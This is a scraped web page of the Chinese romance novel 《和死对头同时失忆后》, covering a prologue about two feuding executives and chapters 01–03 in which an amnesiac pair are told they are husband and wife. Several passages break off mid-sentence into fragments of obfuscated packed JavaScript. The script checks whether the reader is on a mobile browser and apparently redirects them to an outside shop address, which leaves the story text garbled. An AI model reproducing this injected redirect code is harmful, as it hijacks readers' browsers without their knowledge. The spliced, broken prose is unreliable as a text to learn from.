《和死对头同时失忆后》 1. 楔子 《和死对头同时失忆后》 文/琰宸 晋江文学城独家首发 宽净敞亮的会议室里,傅珺瑶一身张扬的酒红色西装,黑色长发利落地束在脑后,神色泰然地盯着前方的汇报大屏。 长桌上所有人都聚集会神,听着这份前不久由傅珺瑶正式提出的面向单身人群销售的楼盘方案。 “傅总,有关于新楼盘的安防系统,这边有两个选择,一个是苏氏的,一个是林氏的。” 傅珺瑶翻动着面前的会议方案汇总,对这两个备选都不太满意。 “去年苏氏的安防系统出了意外,安全系数不够。” “林氏今年才开发出来的系统,可信度也不高。” 傅珺瑶手里的文件“啪”的一声响后利落合上。 会议室只剩空调隐隐的低鸣和众人小心翼翼的呼吸声。 傅珺瑶看向汇报的那人,问:“没有其他的选择了?” 那人稍稍语塞,目光略显慌乱,几次瞟过傅珺瑶,才吞吞吐吐开口:“还…还有,但是……” 傅珺瑶直接给了她一颗定心丸:“不用但是,你说吧。” “最优选的方案是……启行。” 话音刚落,长桌上又陷入更长时间的静默。 傅珺瑶的脸色也稍微收敛。 偌大的会议室只剩空调不具眼力的暗响。 直至汇报大屏自动熄屏,坐在主位的女人终于起身:“我知道了,今天的汇报就到这里,散会吧。” 高跟鞋利落地踩在脚下的地板,清脆的声响逐渐淡出会议室。 等傅珺瑶的身影完全消失,其他人才渐渐松了口气,跟着离开。 回到办公室,傅珺瑶把手上的文件反扣在了办公桌上,一个滑步坐到凳子上,毫不犹豫地甩开了脚上的高跟鞋,两只脚熟练穿起藏在办公桌下的平底拖鞋。 她长呼了口气,打开iPad,查看里面的备选方案。 启行。 傅珺瑶唇边漫出一声轻嗤。 页面恰好停在了启行的简介首页。 那个她还算熟悉的男人的照片安静地挂在那里。 傅珺瑶盯着页面看了好几分钟,最后按了内线电话。 她的秘书很快进来:“傅总。” 傅珺瑶重新凛神,熟悉的厉色惯性爬上眉梢眼角,双脚麻利地穿好高跟鞋,起身:“你陪我出去一趟。” …… 傅珺瑶前脚刚踏进启行的一楼大厅,耳边便传来一声接着一声的轰响。有人直直地望着她,倒吸一口凉气,有人不小心撞到了墙边的花坛,直接停在原地。 她充耳不闻,直奔大厅中央。 秘书悻悻跟在后面,小声提醒:“傅总,您确定要上去吗?董事长那边……” 秘书的话还没说完,傅珺瑶便打断,说她心里有数。 高跟鞋踏出的清脆压低了周遭的喧嚣,围观的众人逐渐安静,下意识离远。 傅珺瑶停在前台,说:“我有事找沈总,麻烦你告诉他一声。” 值守的人双眸微微一瞪,眼珠慌乱地转了几圈,声音轻抖:“抱…抱歉,请问您有预约吗?” 傅珺瑶有备而来,应付的话已经再熟练不过,她正欲开口,那道熟悉的声音却陡然在身后响起。 “傅珺瑶?” 话音落下时,傅珺瑶刚好转身,同男人对视。 他轻哼:“傅总一向唯利是图,恕沈某愚钝,不知道启行有什么宝贝,还值得傅总亲自来一趟。”那声音很松散,不受任何框架限制,仿佛随时能跳脱至无尽的边沿外。 傅珺瑶对他的唯一印象,就是仇人。 他们那一大家子,都是一群没有良心、薄情寡义的小人。 而他,披着一副人模狗样的皮囊,说起话来浑像个不入流的二愣子,一身板正的黑色西装,右耳还钻着颗黑色耳钉。 伪装得又古板又骚包。 傅珺瑶扯了扯唇,漂亮的鼻骨下是一张轮廓优越的嘴唇,吸睛的红勾勒出迷人的弧线,嘴角轻轻往上扬,好似笑了,可眼底却是一片漆黑。 她的视线悄然落在男人身边的人,停了两秒,又回到男人身上,不紧不慢道:“沈总确实愚钝,来启行的目的,除了安防系统,难不成还能是喝下午茶吗?” “……” 男人唇边尚且停留的一丝弧度完全消失。 “不过我能理解,毕竟沈总这个名字嘛,寓意确实欠佳,述白,不就是S、B嘛。” 她甚至刻意咬重那两个字母,吐字异常清晰,在场只要长了耳朵的,不可能没听见。 “……” 沈述白的脸色一阵青一阵白,往前走了两步,眸光凝集,朝她扫过来。 傅珺瑶全然不怯,双眸正迎上去,男人的大掌却在同时钳制上来,虎口死死卡在了她的下颌骨。 她喉间一哽,眸中的气焰瞬时散了一半。 可偏偏傅珺瑶是个不服输的主,哪怕下巴被他掐得生疼,她也丝毫不惧,甚至继续挑衅:“气急败坏了?S、B?” 她故意重复那两个字母,眸中衅意更甚,嘴唇稍微上扯,喉间溢出一声嗤笑。 可男人却不按套路出牌,在她的尾音消失前,男人又将拇指指腹压在了她的唇角。 傅珺瑶蹙起了眉。 连笑都凝在唇边。 唇上的温热不过两秒便消失,一抹很浅的红从她眼前溜走,也带走了下颌骨的疼痛。 男人轻易抹掉了手上的痕迹,低声道:“真鲜艳的颜色,不过和傅总很搭,毕竟是为了利益不知道踩着多少人往上爬的女人。” 语气较此前收敛了很多,再没了一丁点松散,隐隐掀起了一股嘲弄。 傅珺瑶神色如旧,漆黑的眸中闪过一丝狡黠。 细长的手指上抬,隔着那一身板正的西装,落定在他的胸口。 指甲在舒适的面料上勾了两圈,她重新抬眸:“怎么,是这样鲜艳的红色太夺目,刺痛到沈总这颗脆弱不堪、又不懂情感的小心灵了吗?” 两人一来一回的姿态像是情人之间的撩拨,暧昧尽显,然而大厅里的空气却越来越冷,每一丝气体都逐渐被锐利的锋芒刺穿。围观者大都屏息凝神,以免被误伤。 沈述白嘴角抽了抽,后退一步躲开她的接触,几乎咬着牙道:“血盆大口,女妖精!” 傅珺瑶主动上前,缩回了那段距离,指尖缓慢又沉甸甸地怼在他的胸口:“单耳耳钉,闷、骚、怪!” “……” 男人的脸险些憋红。 傅珺瑶毫不犹豫从他身边挣脱,却在迈出两步后头皮猛然发紧—— 她的头发被勾进了沈述白的表带里。 她瞬时咬着牙往外挣,可表带和发丝就跟被胶水粘住了一般,无论使多大的力都是无用功。 沈述白也用力往回收手腕,最后依然是徒劳。 一出荒诞的戏码就在启行的大厅莫名其妙上演了。 “你给我松开!”傅珺瑶稍稍失态,厉声喝道。 沈述白就更别提,一面拨她的头发又一面被头发缠住,导致表带也解不下来,头发反而绕得更紧。 “明明是你的头发,你怎么不松?” 还是傅珺瑶的秘书反应迅速,站定在两人中间,利索地挑开了扎进表带的发丝。 隔着秘书的身影,两把利剑从瞳眸中飞进半空,疾速相撞,擦出了火星子。 傅珺瑶三两下理好头发,转身避开刺眼的锋芒,没有继续跟他聊下去的打算。 等重新回了车上,秘书从后视镜里看过来:“傅总,您不是…打算找沈总聊事吗?” 傅珺瑶端坐着身体,左手解开西装扣子,示意她开车。 “不要紧,他会主动来找我的。” …… 傅珺瑶刚回公司,就被叫去了董事长办公室。 一进门,那张不怒自威的脸已经成了整个空间里最让人不可忽视的存在。 见傅珺瑶进来,傅老爷子的脸色稍微好了些。 “珺珺,来了?” 在老爷子面前,傅珺瑶一向守规矩:“董事长。” 老爷子嗯了一声。 又问:“我听说你打算把新楼盘弄成单身公寓?” 傅珺瑶点头,心口微微一凛,背在身后的手指绕在了一起。 她解释,说她已经提前做过调研,新楼盘的地段恰好是上班族租房的首要地段,目前上班族单身人士越来越多,她想建造一个独特的、与市场稍微有异的新型小区。 老爷子端起桌上还在冒气的热茶,抿了一口,暂时没有说话。 傅珺瑶的视线悄悄看过去,背后的手绕紧了些。 “珺珺,我不干涉你的决策。”老爷子慢慢吞吞地说完这句话,又把头转向她,已经苍老的眸中厉色未消,傅珺瑶下意识挺直了背脊。 “不过你要知道,恒璟在你的手上,绝对不能走下坡路。我不希望你像你哥一样,明白吗?” 傅珺瑶抿了抿唇,然后点头:“我明白,董事长。” …… 傅珺瑶回自己的办公室之后没急着下班,直到秘书的内线电话进来,说老爷子已经走了,她才彻底松了口气。 看了眼时间,感觉肚子空荡荡的,她迅速起身,光着脚跑进休息室,脱掉束缚她的西装,换上了浅灰色的运动服。 又解开长发的束缚,擦掉鲜艳的红唇,戴上黑框眼镜,火速出了办公室,去坐直达电梯。 从停车场里选了辆低调的奥迪,她调出导航,直奔目的地。 四十分钟后,奥迪从CBD穿梭到不起眼的小吃街,最后停在了环湖公园附近。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958097|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 傅珺瑶一脚蹬开车门,左手提着还冒热气的螺蛳粉,找了自己最熟悉的位置坐下。 这会天色已经暗了,不过她早有准备,给相机准备的外接闪光灯早已经成了她的御用美食照亮器。 她搓了搓手,一次性筷子被咬在嘴边,双手迫不及待地开了盖子。 熟悉的香味扑面而来,肚子跟着叫了两声。 她一般不加酸笋,基本没有臭味,几乎占据了整个碗容量的粉面铺满了黑木耳和酸豆角,脆嫩爽口的空心菜穿梭在白花花的粉里,几根黄豆芽黏在粉上,油亮的香葱在最上面稍做点缀。 傅珺瑶很想念这一口。 这家店是她夜跑时摸索到的小店,寻常在家她是不可能吃到这些东西的,在公寓又点不到这边的外卖,公园里这块适合吃饭的宝藏之地也是她偶然才发现的。 筷子搅动两下,美食已经做好了下肚的准备。 傅珺瑶夹了一筷子粉,放在嘴边吹了吹,一口吸溜进去。 浑身的放松和愉悦疾速浸润了每一根头发丝,她下意识晃了晃肩,继续手里的动作。 吃到尽兴,一道低声的哼叫撞到了她脚边。 傅珺瑶吃粉的动作跟着停了,斜眼看过去。 是一只白色的小狗,毛发有些脏,颈间也没有项圈,应该是公园里的流浪狗。 左手捏着的筷子被她放下,正要往小狗身上碰,那道熟悉的男声不合时宜地凑过来。 “又是你?” 她抬眼,差点没坐稳。 那人还是下午的模样,那颗黑色耳钉也总是最先占据她的视线。 他手里还拿着半根火腿肠。 不等她开口,手边的小狗又朝那人跑了过去。 他蹲下来,把剩下的火腿肠喂给小狗。 傅珺瑶舔了舔唇,收回目光,盯着面前的食物,迟迟没有拿筷子。 耳边小狗的咂舌声紧密响起,半分钟后,小狗兴奋地叫了声,然后跑远了。 男人还在。 那抹高挑板正的身影很难让人忽视。 他又靠近了些。 傅珺瑶不紧不慢地拿起筷子在碗里搅动,泛着油光的汤汁在中心形成了一个小漩涡,她盯着那一块,尽量忽视身旁的人。 “没想到傅总还有这种爱好?” “在公园吃个饭而已,很奇怪?” 他不也在公园喂狗? 傅珺瑶没转头,挑了一根粉慢慢吃进嘴里。 不近不远的距离间,有一瞬沉默。 傅珺瑶已经在想如何应付这人。 他却主动带离话题:“你今天去启行,是想跟我谈合作?” 几秒后,傅珺瑶终于舍得转头,看向他。 她咽下嘴里的食物,不答反问:“现在需要谈合作的不应该是启行吗?” 傅珺瑶清楚记得,今天沈述白助理手上拿的那份文件。 ‘针对销路减少的应对策略’。 她不难想到,启行的安防系统的确是整个淮北最优的备选没错,可恒璟也是整个淮北最大的房地产集团。 他们两家不往来,启行的安防系统再好,销路也会被限制大半。 她的话音落下,他的眸色收敛。 傅珺瑶始终保持沉默,试图以退为进。 他确实进了,不过是物理意义上。 靠近她的粉,他蹲下来,仔细端凝,像是在品鉴什么绝版的艺术品。 “不加酸笋,真没品味。” “……” 她架起的招数瞬间被打破。 他又起身,直接走了。 走之前只说了句:“慢慢吃。” …… 隔天一早,傅珺瑶刚到办公室,秘书便抱着一捧新鲜的花束进来。 “傅总,前台有人送了束花给您,不过没有署名。” 傅珺瑶本不以为意,让秘书把花直接拿去前厅当摆饰,却在瞟过一眼后突然叫停。 “先拿过来。” 送她花的人并不少,红玫瑰、蓝玫瑰她也屡见不鲜。 这花…她倒是第一次见。 KingProtea,海神花,常见于凡波斯一带,据说这种花在经历过频繁的森林大火之后,依然能由粗壮的花茎长出新芽。 多次浴火也能重生。 它还有个俗称,叫帝王花。 这束花不大,三支粉帝王占据了最显眼的视觉中心位,空出来的部分靠粉玫瑰补上。 在最边沿的粉玫瑰上,立着一张卡片。 傅珺瑶迅速打开,发现卡片也没有署名。 只有单调的那几行字。 她三两眼扫完内容,红唇稍稍动了动,勾出一抹很浅的弧度。 她收了卡片,抬头对秘书道:“帮我把下午的时间空出来,我要去见个人。” 2. 01 江云半倚在木板床上,身侧的窗户开了一小道缝隙。 窗外金灿灿的阳光毫不吝啬的透进来,裹着轻微的海咸味,还混杂一丝沙砾晒干沁出的热浪。 她拧着眉,望着眼前陌生的一切,心底说不上来的空虚。 一天前,她在一阵强烈的钝痛中醒来,模糊的视线聚焦时,她只看到了这间陌生的小木屋,以及坐在床旁圆桌边的陌生男人。 她下意识后退,身体却撞上坚硬的床头,肌肉绷紧,警惕地睨过去。 “你是谁?” 男人脸上闪过一抹喜色,动作却依然小心翼翼。 他缓步上前,整个人看上去倒是没什么攻击力,话语却像是一根锋利的鱼刺,意外又尖锐地扎进了她的耳膜。 “我是你老公。” 瞳孔骤然紧缩,她大声质问:“我老公?!” …… 江云得知,她和这个男人在半个月前不知道出了什么事,晕倒在海滩边。 住在江渔村的萍姐偶然发现了他们,把他们带了回来,不仅给他们提供了住处,还找了村里的老中医过来帮他们诊治。 男人比她早醒过来三天。 幸运的是,男人的伤口大多在手臂和前腹,不太影响活动。 不幸的是,男人什么都不记得了。 就连他们俩的身份关系,他也是听萍姐说的。 据男人说,萍姐在他醒来的那天,拿出两人口袋里的竹音哨,十分笃定道:“你们俩呀,肯定是夫妻!当时我发现你们的时候,你可是把她抓得紧紧的嘞,而且这个竹音哨在咱们洱南市,一般都是定情信物来的呀,而且你们这个还是定制的嘞!” 男人把竹音哨送到江云面前,露出那两个被标有印记的地方。 一个刻了‘y’,一个刻了‘b’。 江云不解:“这什么意思?” 男人摇头,猜测或许是他们名字的首字母。 江云拧眉看着手上的东西,只觉得说不出口的不对劲。 他们是夫妻吗? 什么时候的事? 她什么时候结的婚? 以为自己是因为身上有伤,一时半刻想不起来,她又深吸了口气,慢慢平下情绪,想留给大脑思考的余地。 耳边窸窸窣窣的动静不止,男人缓缓在床尾坐下。 在男人坐下的那一刻,她的视线也跟着落在了男人身上。 男人的目光就跟从窗子里透进来的风一般,不敢太明显,又很难让人忽视。 他试探性问:“你…记得以前的事吗?” 江云动了动唇,想要回答,却又猛然一顿。 以前? 以前?! 江云拼命回想,却始终无法和大脑建立起有效联系。身体里熟悉的疼痛加剧,她捂着太阳穴,想排除这些干扰,闭着眼继续回想,拼命想抓住点什么,最后却一无所获。 “我也不记得以前的事了?!” 她迅速睁开眼,视线还没来得及聚焦,却精准地抓住了男人的胳膊。 模糊的人影变得清晰: 男人的脸部线条流畅,饱满的额头下挺着直如利尺的鼻梁,薄唇下有棱角出挑的下颌收尾,勾勒出不圆不尖刚刚好的下巴。 一双平眉下的眼瞳像是加了牛奶顺滑过的黑咖啡,几缕光线透过,那双深褐色的瞳眸便已经泛起柔光。 她能清晰看到男人的每一分每一寸,却怎么都无法把他在大脑中对上号。 一股滞后的恐惧悄然攀升,混入身体的各个角落,加剧了原本存在的疼痛。 说出口的话也带了一丝颤音。 “我不记得以前的事了?我是谁?你又是谁啊?” 她是谁? 他是谁? 这是哪里? 他们为什么会出事? 身体颤抖得越来越厉害,内里的恐惧疾速攀升,五指扣紧了男人的手臂,温度和脉搏全都从指腹涌入,却还是无法扫去那份恐惧。 她只觉得眼前的一切都不真实。 陌生、空虚。 好像一觉睡醒之后被扔到了另一个世界,她原有的所有都在顷刻坍塌。 最后消失。 她快速眨动着眸,轻微的湿润漫出,大脑感知到的疼痛加剧,双眉不自觉地往中间挤压,那个男人的身影也逐渐模糊。 心脏突然被拽着往下沉,就快要沉底。 呼吸有些困难,她濒临窒息。 手掌却突然被握住,下一秒,她被揽入了一个陌生却又温暖的怀抱中。 全身的肌肉绷紧,气息屏住两秒,却又因为突然注入的温热恢复正常。 背后,一个宽大温热的手掌轻轻拍了拍,又顺着她的脊线从上往下轻抚。 拽着她心脏的力度小了些。 男人说:“不记得也没关系,不记得,我们就慢慢找回记忆。” 男人的声音很轻、很柔和,和肌肤能感受到的那股热浪很像。 她不自觉放松了些,心脏又重新回到了原本的位置,规律跳动。 男人又继续道:“从今天开始,你叫江云,我叫江阔,我是你的丈夫,你是我的妻子。” 江云。 江阔。 妻子? 丈夫? 她半信半疑,有些想反驳。可她还需要他的帮助。 她又把反驳的话吞回了肚子里。 至少…她不排斥他。 …… 江云翻了个身,不小心扯到背后的伤口,她下意识压住肩膀,‘嘶’了一声。 恰好此时房间的木门被推开,江阔端着一碗中药进来。 男人很快注意到她,快步走到床边,迅速放下手里的药,把人扶稳。 “怎么了?又扯到伤口了?” 男人直接往她的背后看去。 江云点头,“好像还是昨晚的那个地方。” 昨晚她做了噩梦,睡梦中不小心扯到伤口被痛醒,是江阔帮她重新上药包扎的。 “慢慢侧身,趴过去。” 江阔熟练地帮她趴好,又慢慢把她的衣服往上撩。 江云咬着牙,腰腹轻轻一颤。 她还是很不适应一个男人帮她上药。 碘伏的味道混入海咸味的空气里,短暂的清凉缓慢落在腰间。 江云看到他又拿出床头放着的一盒小药罐,她知道,那里面是那位老中医特制的中药,效果很好。 中药独特又浓烈的味道很快掩盖了海咸味和碘伏味,强势地占据了鼻腔的嗅觉细胞。 等涂好药,贴好纱布,衣服也被放了下来。 江阔抱住她的肩:“慢点侧身,我扶你起来。” 男人的动作很缓很轻,整个过程中没有透出一丝不耐烦。等她坐好了,他又把床边的窗户推开,好让外头的阳光全都照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958098|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来。 “这边临海,太阳很舒服。” 江云往外瞟了一眼。萍姐让他们住的这间房视野很好,窗边就能看到一望无际的大海。 洱南四季如春,几乎每一天都能见到万里晴空,澄黄的亮光洒在海面,随着海浪翻起一阵又一阵碎金,轻易便能冲散憋闷的消沉。 江阔坐在床边,拿起还冒热气的药,舀了一小勺,先放在嘴边吹了吹,再喂到江云嘴边。 江云的视线不经意间从他的脸上扫过,又落到靠近她的手上。 深褐色的药液在勺中轻轻晃荡,她没说话,乖乖把药喝了。 只是药入嘴的那一刻,她的眉头跟着拧紧,药液在嘴里滚了几圈都难以下咽。 江云忍着想吐出来的冲动,拼命吞了下去。 “还是很苦吗?”江阔问。 喉间的涩意上涌,带着舌尖遗留的苦,两相交织缠绵,涩味更浓,江云用力把嘴里的苦味往下咽,蹙眉点了点头。 江阔抽了张纸,擦去她嘴角残留的药汁,又把碗放了回去,说:“你等我一会,我很快回来。” 说完,他的人影三秒钟便消失在了门口。 江云被嘴里的苦涩裹挟,无暇想他去了哪儿,他却很快回来了。 手里还多了一个罐子。 江云没看清,先闻到了一股甜味。 等定睛时,男人已经把东西喂到了她嘴边:“这是萍姐自己做的蜜饯,很甜,压一压。” 蜜饯碰到嘴唇,一丝蜜甜沁入,江云看了男人一眼,张嘴吃下了蜜饯。 确实很甜,甜到嘴里的苦瞬间被扫荡一空。 江云被男人一口一口喂着喝完了药,等到苦涩不再能牵动江云的心思时,她的目光便停在了男人身上。 他的动作依旧很细致,每一次抬手、每一个眼神都恰到好处。 没有越界,也没有侵略性。 江云的确能在这个人面前慢慢卸下防备没错,可心底的困惑也跟着攀涨。 明明他也失去了全部的记忆,为什么还会对她这个陌生的‘妻子’如此体贴?为什么会如此相信他们就是夫妻? 如果是身体的本能,那她又为什么没有这种本能? 男人放了碗,又挑了颗蜜饯出来喂给她。 江云却因为想得太过入迷,忘记张嘴。 “不吃了吗?”男人的声音陡然溜进耳膜。 这个角度,江云能清晰地看到他右耳的那颗黑色耳钉。 心脏莫名撞了一下胸壁,她的瞳孔跟着闪了闪。 她昨天其实注意到他戴了耳钉,但一直没看清模样。 晚上睡觉他又睡在地铺,右耳完全被挡住。 一颗很简单的黑色曜石,她却意外有些熟悉。 视线盯着那一处,迟迟没有移开。 男人似乎是注意到她的视线,指腹在耳钉上摸了摸:“耳钉怎么了吗?” 江云终于回神,吃下了那颗蜜饯,摇了摇头,扯唇浅笑:“没有,挺好看的。” 也是,他们以前如果真是夫妻,她对他的东西熟悉一点再正常不过。 江阔把桌上的东西整理好,问她要不要休息会。 江云摇头,睡了这么多天,她也睡够了。 “江…江阔。”她开口,这个不熟悉的名字还有些难以启齿。 男人嗯了一声。 “我们……不离开这里吗?” 3. 02 “等你先养好伤。” 就目前的状况,一来他们不方便,二来他们根本就不记得家的位置,离开也不知道往哪走。 江阔醒来时已经看过,两人的手机在水里泡了太长的时间,根本打不开,他们身上没有钱包也没有证件。 他们甚至也不能确定他们到底是本地人还是外地人。 江阔说,想等她身上的伤好了之后,带她一起去镇上的公安局。 江云又不说话了,转头望着窗外。 她不记得自己以前有没有见过海,但潜意识的认知认为,大海有治愈心情的功效。 然而此刻,她只觉得心里就像这一片一望无际的海域,广阔又没有边际,除了一阵又一阵陌生的波动,她什么都看不到、什么都想不起来。 海浪不停歇的翻涌,浸染过温度的风肆意穿梭,从窗户潇洒吹进来。 江云耳边的发丝跟着扬起,眼角被海风卷走了湿润,微微发涩。 “要不要看看我们之前穿的衣服?” 江阔的声音取代了耳边此起彼伏的海浪声。 江云下意识回眸,迎面对上那双深褐色的瞳眸。 两秒后,她悄然移开视线。 “好啊。” 甜稠的蜜饯挟走了喉间的水分,她的声音有些哑。 男人笑了笑,三两步跨到柜子旁,从里面拿出两套衣服。 江云的目光跟随他的身影,往身侧看过去。 被风裹进胸腔里咸涩慢慢减轻,她目不转睛地盯着那一处,隐隐期待。 然而两套略显严肃的西装迅速打破了她的期待。 江云皱了皱眉—— 很陌生,也不是她喜欢的风格。 左边是一套深紫色的西装,无论是版型还是材质都是最佳,却从头到尾都透着一股强势、严肃的味道。 “我以前喜欢这种风格?” 她从上到下几番打量,疑惑还是忍不住从嘴边吐出。 江阔也跟着看了两眼,道:“事业型,我觉得还蛮好看的。” 接着,他又转向紫色西装旁边的他穿过的黑色西装,嘴边的笑柔和了不少:“感觉我们的风格很像,没准是在一起工作,发展办公室恋情来的。” 江云没接话,左手悄悄捏了捏耳垂。 那套黑西装在她眼里过于板正,有点像上了年纪的老干部穿的。 考虑到自己还需要这个男人照顾,江云到底没有吐槽出口。 “太严肃了,我不喜欢。”江云摇头。 男人嘴角的弧度默默往回收了收,又把两套西装塞回柜子里。 他回到江云身边,弯腿蹲下,手臂虚搭在床沿,跟她保持了合适的距离。 他的拇指在食指上来回摩挲,声音很轻,语速很慢,问:“那你喜欢什么风格?正好我打算去买几件给你换洗的衣服。” 这个角度,她需要稍微俯视他。 她垂眸,有意避开他的视线,却无意落定在他颈中突出的喉结上。 藏在唇中的牙齿暗暗咬了咬舌,她又把视线挪了回去。 “都行,只要舒服就好了。” 深褐色的眼瞳被窗外的光线沁入,宛若透亮的琥珀,包裹着琥珀的眼眶稍稍弯起,从里头漾出的笑意一点不剩的落进江云眼中。 身体莫名僵了僵,背后的伤口缩起很轻的痛感,还有点麻。 他的肩往下一松,笑着应她:“好。” …… 屋子里残留的药味逐渐被海风卷走,江云维持着一个姿势很久很久,腰有些受累。 她试着动了动腿,想下床,只是两条腿刚移到床沿,髋部的骨头便开始抗议,牵扯着周围的神经,往大脑传输痛感。 江云不自觉咬紧了牙,无奈,又乖乖躺回床上。动作有些没轻没重的,隐藏在纱布下的伤口也一起使坏。 江云连连嘶声,自顾自道:“我半个月前到底干什么了?居然把自己摔成了半个废人!” 她侧躺下去,面对着窗户那边,嘴里的话还没停:“还把自己给摔失忆了!” 说完,她还觉得不够,又继续道:“失忆就算了,还莫名其妙冒出了个陌生老公,老公就算了,居然也失忆了!” 她抬手撑着半边脸,长叹一声气。 沉静了两秒,又开始动嘴:“今年该不会是走了什么不好的大运吧?” 没一会,她又泄了气。 她根本不记得自己的生日,也算不了什么大运。 两只眸子空洞地看着悠闲的海浪,一分钟后,她又翻了次身。 好无聊。 “好想下床啊!”她哀叹。 手指在单薄的床单布料上慢慢抠着,细碎的声响短暂取代了内心的空虚。 不过很快,效果就不明显了。 她想换个动作接着打发时间,却无意瞥见了枕头边的那两支竹音哨。 昨天被江阔放在这里,就再也没动过。 两支暖玉雕琢的浅青竹音哨不过小拇指的长短,哨身似竹节,线条清隽流畅,顶端打磨得圆滑,一根细绳从哨身的小孔穿过,应该是戴在脖子上的。 很漂亮,确实很适合当定情信物。 这是江云的第一想法。 不过她又定睛凝着那两个刻在尾端的字母。 y、b。 按理说这种不应该直接刻字吗?一个字母能代表什么? “刻字母是为了省事?”她自语问道。 不过她和江阔,谁是y,谁是b呢? 答案她是想不起来的,索性拿起一支吹了两下。 “居然吹不响?” 江云又里里外外打量了一圈,发现里面好像有一节是实心的。 她瘪了瘪唇:“敢情是个只能看的定情信物啊。” “江云啊江云,你也太不懂浪漫了。” 她自话自说,不过很快又反驳自己的话:“不对,说不定是江阔买的呢,老干部应该不怎么浪漫吧?” 话音落下,江云又想起他戴的黑色耳钉。 不禁咂舌:“不过老干部戴耳钉,好奇葩的搭配。” 脑海中浮现出他的身影,她连连摇头,眼眸半眯:“又古板又闷骚!” “你醒啦?饿了吧?” 熟悉的一道高昂嗓音突然冲进房间。 她猛然一惊,下意识抿唇,又把竹音哨丢回原位,清了清嗓道:“萍姐。” 昨天江阔已经给她介绍过了。 江萍是个很热情的女人,在江渔村开了一家小饭馆,她丈夫很多年前去世了,现在家里就她和女儿在。 她不仅救了他们,还留他们在这里养伤。 萍姐端着盘子进来,里头摆好了热腾腾的食物,饭香味像是安了定位系统似的,直往鼻腔里钻。 “吃饭吧!”萍姐把盘子放在了床头柜上,端起了米饭送到她手里。 掌心很快传进了热意,看着碗里晶莹剔透、粒粒分明的白米饭,江云的肚子确实来了反应。 不过江阔还没有回来。 江云先道了谢,又把米饭放了回去,说等江阔回来再吃。 免得麻烦萍姐又热一次饭。 闻言,萍姐又把饭送回了她手里,解释说:“这饭啊就是江阔让我送过来的,他刚刚去了店里,把晚餐准备好了,说要去给你买些衣服,让我给你送饭过来。” 江云的动作一顿。 萍姐又继续道:“你身上还有伤,又不能下床,也是得好好补补身子!” 她又看向盘子里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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身体的疼痛像有片刻的麻木,全身的血流很慢,却又在某个瞬间,不知道哪一处的血液在血管里往前冲了一下,一股温暖的热流涌出,心底的空虚跟着消散。 江云拿起筷子,开始往嘴里送食物。 饱满圆润的饭粒在嘴里的每一口都是满足,豆腐很嫩,鲈鱼没什么刺,青菜爽口,酸汤牛肉的味道最特别,她以前应该没尝过这种味道,酸酸甜甜的,牛里脊鲜嫩滑口,很好吃。 她也没想过江阔做饭这么好吃。 “你是左撇子呀?”萍姐突然问。 江云怔了怔,她也才发现。 眼尾稍稍一弯,她回答萍姐:“是,习惯了。” “左撇子好,左撇子聪明的嘞。” 萍姐聊上了头,话匣子就没关上。 她又感叹:“我跟你们俩也是有缘,我可想有一对幸福的女儿女婿了,但是我家宝贝啊,她也不听我的,尽找些我瞧不上的女婿!自从你们来了家里之后,咱们家里也热闹了许多。” 江云弯了弯唇,咽下嘴里的食物,说:“是我们得感谢您。” …… 江云差不多吃完的时候,江阔也回来了。 几套新衣服全是宽松舒适型的,样式虽然和他的西装一样过于板正,但也还算看得过去。 日暮西沉,海面失去了太阳的照耀和天空的蔚蓝,一点一点隐入黑夜,只留下频繁翻涌的海浪声。 江阔端着一盆热水进来,放在床边,又关了窗户,把新的睡衣放在床尾,不紧不慢地对上她的眸,轻声问: “我帮你擦擦身子?” 4. 03 江云的呼吸伴随着他的声音停滞。 她斜瞪男人一眼,防备心渐长。 虽说这个男人现在是她唯一的同伴,可他们的‘夫妻’身份到底还没有坐实。 上药已经是逾越,擦身子……她不行。 她很干脆拒绝:“不要!” 男人脸上的表情微凝,他没有着急,又弯了弯唇,轻声解释:“你背后还有伤口,腿脚又还疼着,现在的天气也不凉快,出了汗如果不清洁,伤口很容易感染的。” 他说的确实没错,可江云还是过不去心底那道坎。 她犹疑地盯着床边的那盆热水,又瞟了眼江阔。 他看上去倒不像是什么流氓。 可他是个戴耳钉的闷骚怪,她又才认识他两天,对他只是知人知面,万一他内里是个禽兽,她现在还受着伤,跟他打应该是处于劣势…… 思绪就跟完全不间断的打印机一般,飞速往外吐东西。 蓦地,江阔开口打断了她如泉涌般的猜忌:“我本来是想拜托萍姐过来帮你,但她和女儿去进货了,估计得很晚才回来,你如果实在介意,我可以蒙上眼睛。” 男人的语气真诚又恳切,仿佛真的是作为一个尽职尽责的丈夫在担心妻子的身体。 江云有些动摇。 见她仍然迟疑,男人干脆地拿过了一旁的一卷纱布,动作利索地蒙上自己的眼睛,又摸着床沿慢慢挪回江云身边。 “现在我看不到了。” 他试探着坐到床沿,没有莽然动她。 “我先帮你脱衣服?” 江云两只手攥着搭在身上的薄毯,面色紧绷,火辣的热意毫无预兆地从耳根烧起,又有往前蔓延的趋势。 